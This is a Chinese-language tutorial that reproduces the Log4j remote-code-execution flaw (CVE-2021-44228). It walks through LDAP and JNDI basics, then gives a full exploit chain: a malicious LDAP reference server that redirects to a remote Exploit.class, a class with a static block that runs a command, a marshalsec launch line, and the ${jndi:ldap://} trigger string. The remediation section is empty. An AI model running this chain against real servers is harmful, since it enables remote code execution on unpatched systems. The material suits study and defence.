当前位置: 首页 > article >正文

【Log4j RCE (CVE-2021-44228)】复现及原理分析

Log4j RCE (CVE-2021-44228)

2021 年 12 月 9 日,阿里云安全团队向 apache 报告了由 log4j 日志引起的远程代码执行漏洞。
2021 年 12 月 10 日凌晨,log4j 漏洞利用细节被公开,几乎所有的互联网公司都受到影响。
2021 年 12 月 10 日,各 src 陆续关闭 log4j 漏洞提交通道。
紧接着,各安全厂商纷纷通报,发布临时解决方案
2021 年 12 月 22 日,工信部网络安全管理局决定暂停阿里云作为合作单位 6 个月。原因是阿里云发现 Apache log4j 组件严重安全隐患后未及时向电信主管部门报告,未有效支撑工信部开展网络安全威胁和漏洞管理(违反了国家于 2021 年 9 月发布的【互联网安全产品漏洞管理规定】-【不得在网络产品提供网络产品安全漏洞修补措施之前发布漏洞信息、公开漏洞细节、在国家重大活动期间,未经公安部同意补的擅自发布网络产品安全漏洞信息】)。
Apache 陆续发布 rc1、 rc2、 2.15、 2.16、 2.17 进行修复

  • CVE-2021-44228 远程代码执行 --> 2.15.0 修复
  • CVE-2021-45046 拒绝服务漏洞 --> 2.16.0 修复
  • CVE-2021-45105 拒绝服务漏洞 --> 2.17.0 修复
  • CVE-2021-44832 远程代码执行 --> 2.17.1 修复

Log4j 介绍与漏洞影响

Log4j 是 log for java 的简写,是 Apache 的开源日志记录组件。

Log4j 的使用方式非常简单:

  1. pox.xml 中引入 log4j 依赖

    <!--	log4j	-->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
    
  2. 获得 logger 实例

    private static final Logger logger = LogManager.getLogger(Log4JTest.class);
    
  3. 使用 logger 实例记录日志

    logger.info("hello log4j");
    logger.warn("warning ... ");
    logger.debug("debugging ...");
    logger.error("${java:runtime} - ${java:vm} - ${java:os");
    
  4. log4j 配置文件,默认加载 resource/log4j2.xml(待补充)

    <?xml version="1.0" encoding="UTF-8"?>
    <Configuration status="OFF" monitorInterval="30">
        <appenders>
            <console name="CONSOLE" target="SYSTEM_OUT">
                <PatternLayout pattern="%msg{lookups}%n"/>
            </console>
        </appenders>
        <Loggers>
            <Root level="error">
                <AppenderRef ref="CONSOLE"/>
            </Root>
        </Loggers>
    </Configuration>
    
    

什么是 LDAP

LDAP (LightWeight Directory Access Protocol, 轻量级目录访问协议)

LDAP 实现统一登录

统一登录就是建立一个能够服务于所有应用系统的统一的身份认证系统,每个应用系统都通过该认证系统来进行用户的身份认证,而不用再单独开发各自的用户认证模块。

  1. pox.xml 中引入 ldap服务端依赖

    <!--    ldap    -->
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>6.0.3</version>
    </dependency>
    
  2. 创建 LDAP 服务端

    package com.example.demo.ldap;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    
    /**
    * LDAP 服务端
    */
    public class LDAPSeriServer {
        public static final String LDAP_BASE = "dc=example, dc=com";
    
        public static void main(String[] args) {
            int port = 7389;    // ldap 默认端口 389
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()
                ));
                config.setSchema(null);
                config.setEnforceAttributeSyntaxCompliance(false);
                config.setEnforceSingleStructuralObjectClass(false);
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    
                // 添加三条数据到 LDAP 目录服务器
                ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectClass: domain");
                ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
                ds.add("dn: " + "uid=xxxx,ou=employees,dc=example,dc=com", "objectClass: exportObject");
    
                System.out.println("Listening on 0.0.0.0: " + port);
                ds.startListening();
            }catch (Exception e){
    
            }
        }
    }
    
    
  3. 创建 LDAP 客户端

    package com.example.demo.ldap;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class LDAPClient {
        public static void main(String[] args) throws NamingException {
            Context ct = new InitialContext();
            // lookup 方法在 LDAP 目录数据库中查找一条数据
            Object lookup = ct.lookup("ldap://127.0.0.1:7389/uid=xxxx,ou=employees,dc=example,dc=com");
            System.out.println(lookup);
        }
    }
    

什么是 JNDI

JNDI(Java Naming and Directory Interface, Java 命名和目录接口, 也称之为命名服务接口

JNDI 的使用

  1. 发布服务(名字和资源的映射关系)

  2. 创建 JNDI 客户端查找资源

JNDI 与 LDAP 的关系

${jndi:ldap://example.com:1234/test}

通过名字(jndi,查找(lookup) LDAP 的服务(ldap://example.com:1234,获取 LDAP 中存储的资源(/test

通过 JNDI 查找 LDAP 服务实例

  1. 启动 LDAP 服务服务端(还使用上步中端口为 7389 的服务端)

  2. 创建 JNDI 客户端

    package com.example.demo.jndi;
    
    import javax.naming.Context;
    import javax.naming.NamingEnumeration;
    import javax.naming.NamingException;
    import javax.naming.directory.DirContext;
    import javax.naming.directory.InitialDirContext;
    import javax.naming.directory.SearchControls;
    import javax.naming.directory.SearchResult;
    import java.util.Hashtable;
    
    public class JNDIClient {
        public static void main(String[] args) throws NamingException {
            Hashtable<String, Object> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com");
    
            DirContext ctx = new InitialDirContext(env);
            SearchControls searchControls = new SearchControls();
            searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
            searchControls.setCountLimit(10);
            NamingEnumeration<SearchResult> namingEnumeration = ctx.search("", "(uid=*)", new Object[]{}, searchControls);
            // 通过名称查找远程对象,假设远程服务器已经将一个远程对象绑定了
            ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com");
            while (namingEnumeration.hasMore()){
                SearchResult sr = namingEnumeration.next();
                System.out.println("DN: " + sr.getName());
                System.out.println(sr.getAttributes().get("uid"));
            }
            ctx.close();
    
        }
    }
    
  3. 运行,查看访问结果

    DN: uid=xxxx,ou=employees
    uid: xxxx
    

什么是 JNDI 注入?

JNDI Naming Reference

  1. 在 LDAP 里面可以存储一个外部资源,叫做命名引用,对应 Reference 类。(比如: 远程 HTTP 服务的一个 Exploit.class 文件)

    package com.example.demo.ldap;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import javax.swing.text.html.parser.Entity;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    /**
    * LDAP 服务端
    */
    public class LDAPRefServer {
        public static final String LDAP_BASE = "dc=example, dc=com";
    
        public static final String EXPLOIT_CLASS_URL = "http://192.168.xxx.xxx/#Exploit";   // #Exploit 代替 Exploit.class
    
        public static void main(String[] args) {
            int port = 7389;    // ldap 默认端口 389
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()
                ));
    
                /* 指定 EXPLOIT_CLASS_URL, OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类 */
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)) );
    
                config.setSchema(null);
                config.setEnforceAttributeSyntaxCompliance(false);
                config.setEnforceSingleStructuralObjectClass(false);
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    
                System.out.println("Listening on 0.0.0.0: " + port);
                ds.startListening();
            }catch (Exception e){
    
            }
        }
    
        /**
        * OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类
        */
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
            private URL codebase;
    
            private OperationInterceptor(URL url) {
                this.codebase = url;
            }
    
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }catch (Exception ex){
    
                }
            }
    
            protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws MalformedURLException, LDAPException {
                URL url = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + url);
                e.addAttribute("javaClassName", "Calc");
                String cbString = this.codebase.toString();
                int refPos = cbString.indexOf('#');
                if (refPos > 0){
                    cbString = cbString.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbString);
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    
            }
        }
    }
    
    
  2. 如果 JNDI 客户端,在 LDAP 服务中找不到对应的资源时,就会去指定的地址(如上代码中的EXPLOIT_CLASS_URL)请求。如果是命名引用,就会将这个文件(Exploit.class)下载到本地

  3. 如果下载的 .class 文件包含无参构造函数或静态方法块,加载的时候就会自动执行,从而产生注入漏洞。

    public class Expoit {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
    
            }
        }
    }
    

Log4j RCE 漏洞复现

环境准备

  • 基础开发环境
    • JDK 1.8.191 以下
  • 远程代码
    • Exploit.class 恶意文件
    • HTTP 服务器
  • LDAP 服务端
    • 本地启动。同上(需要将远程地址配置在服务端代码中)
    • 远程启动。
      可以借用 marshalsec 在远程服务器启动一个 LDAP 服务(远程地址作为参数配置在命令中)
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.xxx.xxx:80/#Exploit 7389
  • LDAP 客户端(Log4j 利用)
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Log4JTest {
        private static final Logger logger = LogManager.getLogger(Log4JTest.class);
    
        public static void main(String[] args) {
            logger.error("${jndi:ldap://127.0.0.1:7389/test}");
        }
    }
    

Log4j RCE 漏洞原理分析

log4j 使用手册中的 Lookups,参考地址: https://logging.apache.org/log4j/2.x/manual/lookups.html

官网描述:

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.

可以从不同的地方加载资源,赋值给 log4j 的配置并使用。从官网可以看到,其中包含 Context Map LookupDate LookupDocker LookupEnvironment Lookup、 …、 Jndi Lookup、…

官网描述:

Jndi Lookup
As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.

The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.

The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).

影响范围和排查方法

Log4j RCE 漏洞修复


http://www.kler.cn/a/15564.html

相关文章:

  • Sql进阶:字段中包含CSV,如何通过Sql解析CSV成多行多列?
  • 蓝牙 HFP 协议详解及 Android 实现
  • LeetCode 445.两数相加 II
  • Cursor安装Windows / Ubuntu
  • 云速搭助力用友 BIP 平台快速接入阿里云产品
  • Vue3 provide 和 inject的使用
  • ASEMI代理ADI亚德诺ADM3051CRZ-REEL7车规级芯片
  • 一款免安装、多平台兼容的 拾色器(Color Picker)
  • C#开发的OpenRA游戏的加载地图流程
  • 【OAI】UERANSIM容器与OAI核心网分立部署及测试
  • 力扣第343场周赛
  • 【Git 入门教程】第七节、Git 远程仓库(Github)
  • MongoDB 聚合管道的输出结果到集合($out)及合并结果到集合($merge)
  • 什么是redis发布订阅模式,并用java代码实现小demo
  • 我们要被淘汰了?从科技变革看"ChatGPT"与"无代码开发"
  • 【数据库数据恢复】ORACLE常见数据灾难的数据恢复可能性分析
  • 【学习笔记】CF607E Cross Sum
  • 前端开发技术——对象
  • apple pencil有买的必要吗?便宜的平替电容笔推荐
  • [学习笔记] [机器学习] 3. KNN( K-近邻算法)及练习案例
  • Springboot +Flowable,详细解释啥叫流程实例(二)
  • 跌倒检测和识别3:Android实现跌倒检测(含源码,可实时跌倒检测)
  • QFIELD-GIS工具版如何编辑数据
  • 入职华为外包一个月后,我离职向“北上广深”流浪了...
  • Ubuntu22.04部署Pytorch2.0深度学习环境
  • SQL性能调优简介